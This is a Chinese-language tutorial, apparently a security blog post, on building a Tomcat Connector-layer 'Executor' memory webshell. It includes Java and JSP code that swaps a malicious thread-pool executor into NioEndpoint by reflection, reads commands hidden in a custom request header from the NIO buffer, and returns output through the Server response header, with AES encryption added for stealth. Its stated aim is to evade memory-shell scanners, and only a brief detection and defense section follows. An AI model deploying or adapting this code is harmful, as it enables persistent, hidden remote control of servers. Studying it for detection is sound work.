Executor内存马的实现
字数 1163 2025-08-26 22:11:15
Tomcat Executor内存马实现详解
前言
本文详细讲解如何在Tomcat的Connector组件中实现Executor内存马。与常见的Container内存马不同,这种内存马位于Connector层,能够绕过大多数基于Container扫描的内存马查杀工具。
前置知识:Tomcat Connector结构
Tomcat的Connector主要由以下组件构成:
- ProtocolHandler:协议处理器
- Endpoint:负责网络连接处理
- Processor:负责协议解析
- Adapter:将请求适配到Servlet容器
在Http11NioProtocol实现中,Endpoint的核心组件包括:
- LimitLatch:连接控制器,控制最大连接数
- Acceptor:接收新连接,返回Channel对象给Poller
- Poller:类似NIO中的Selector,监控Channel状态
- SocketProcessor:封装的任务类
- Executor:Tomcat扩展的线程池,执行任务
关键组件分析
LimitLatch
控制Tomcat能接收的最大连接数,使用AQS实现:
public class LimitLatch {
private class Sync extends AbstractQueuedSynchronizer {
protected int tryAcquireShared(int ignored) {
long newCount = count.incrementAndGet();
if (!released && newCount > limit) {
count.decrementAndGet();
return -1;
} else {
return 1;
}
}
}
// 实现连接计数和控制
}
Acceptor
负责接收连接的核心组件:
public class Acceptor<U> implements Runnable {
public void run() {
while (endpoint.isRunning()) {
// 检查连接数限制
endpoint.countUpOrAwaitConnection();
// 接收新连接
U socket = endpoint.serverSocketAccept();
// 处理socket
if (!endpoint.setSocketOptions(socket)) {
endpoint.closeSocket(socket);
}
}
}
}
Poller
监控Channel状态的核心组件:
public class Poller implements Runnable {
public void run() {
while (true) {
// 检查事件
boolean hasEvents = events();
// 处理就绪的SelectionKey
Iterator<SelectionKey> iterator = selector.selectedKeys().iterator();
while (iterator.hasNext()) {
SelectionKey sk = iterator.next();
processKey(sk, (NioSocketWrapper)sk.attachment());
}
// 处理超时
timeout(keyCount, hasEvents);
}
}
}
SocketProcessor
封装的任务类,关键处理逻辑:
protected class SocketProcessor extends SocketProcessorBase<NioChannel> {
protected void doRun() {
// 处理SSL握手等
// 关键处理:调用handler处理请求
SocketState state = NioEndpoint.this.getHandler().process(this.socketWrapper, this.event);
// 处理连接关闭等
}
}
Executor内存马实现
Executor接口分析
Tomcat的Executor是定制版线程池,关键点:
- 由Service维护,同一Service中的组件共享线程池
- 如果没有定义线程池,Endpoint会自动创建线程池
恶意Executor实现
- 继承ThreadPoolExecutor并重写execute方法:
public class threadexcutor extends ThreadPoolExecutor {
@Override
public void execute(Runnable command) {
// 在此处插入恶意代码
System.out.println("123");
super.execute(command);
}
}
- 通过反射替换Endpoint的Executor:
NioEndpoint nioEndpoint = (NioEndpoint)getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor)getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(
exec.getCorePoolSize(),
exec.getMaximumPoolSize(),
exec.getKeepAliveTime(TimeUnit.MILLISECONDS),
TimeUnit.MILLISECONDS,
exec.getQueue(),
exec.getThreadFactory(),
exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
实现交互功能
获取请求命令
由于内存马位于Processor处理之前,需要从NIO缓冲区获取请求:
public String getRequest() {
try {
// 遍历线程找到Acceptor线程
Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread != null && thread.getName().contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
// 获取NIO缓冲区
Object[] objects = (Object[])getField(getField(getField(target, "this$0"), "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer)getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String a = new String(heapByteBuffer.array(), "UTF-8");
// 提取自定义header中的命令
if (a.indexOf("blue0") > -1) {
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1,
a.indexOf("\r", a.indexOf("blue0")) - 1);
return b;
}
}
}
}
} catch (Exception ignored) {}
return "";
}
实现回显
由于标准ServletResponse尚未生成,需要通过Tomcat的Response对象实现回显:
public void getResponse(byte[] res) {
try {
// 遍历处理器获取Response对象
ArrayList objects = (ArrayList)getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors");
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo)tmp_object;
Response response = (Response)getField(getField(request, "req"), "response");
// 将结果添加到header中
response.addHeader("Server", new String(res, "UTF-8"));
}
} catch (Exception e) {}
}
加密通信
为增强隐蔽性,实现AES加密:
public static String decode(String key, String content) {
// AES解密实现
}
public static String encode(String key, String content) {
// AES加密实现
}
完整JSP实现
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
// 这里包含上述所有工具方法和类定义
%>
<%
// 实际注入代码
NioEndpoint nioEndpoint = (NioEndpoint)getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor)getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(
exec.getCorePoolSize(),
exec.getMaximumPoolSize(),
exec.getKeepAliveTime(TimeUnit.MILLISECONDS),
TimeUnit.MILLISECONDS,
exec.getQueue(),
exec.getThreadFactory(),
exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
%>
检测与防御
检测方法
- 检查Endpoint的Executor是否被替换
- 监控非标准线程池行为
- 检查异常header字段
防御措施
- 限制反射调用
- 监控关键组件的修改
- 使用RASP进行运行时保护
总结
本文详细分析了Tomcat Connector的工作原理,并展示了如何在Executor层面实现内存马。这种内存马具有以下特点:
- 位于Connector层,绕过Container层检测
- 通过NIO缓冲区获取请求
- 通过Response对象实现回显
- 支持加密通信增强隐蔽性
理解这种内存马的实现原理对于防御此类攻击具有重要意义。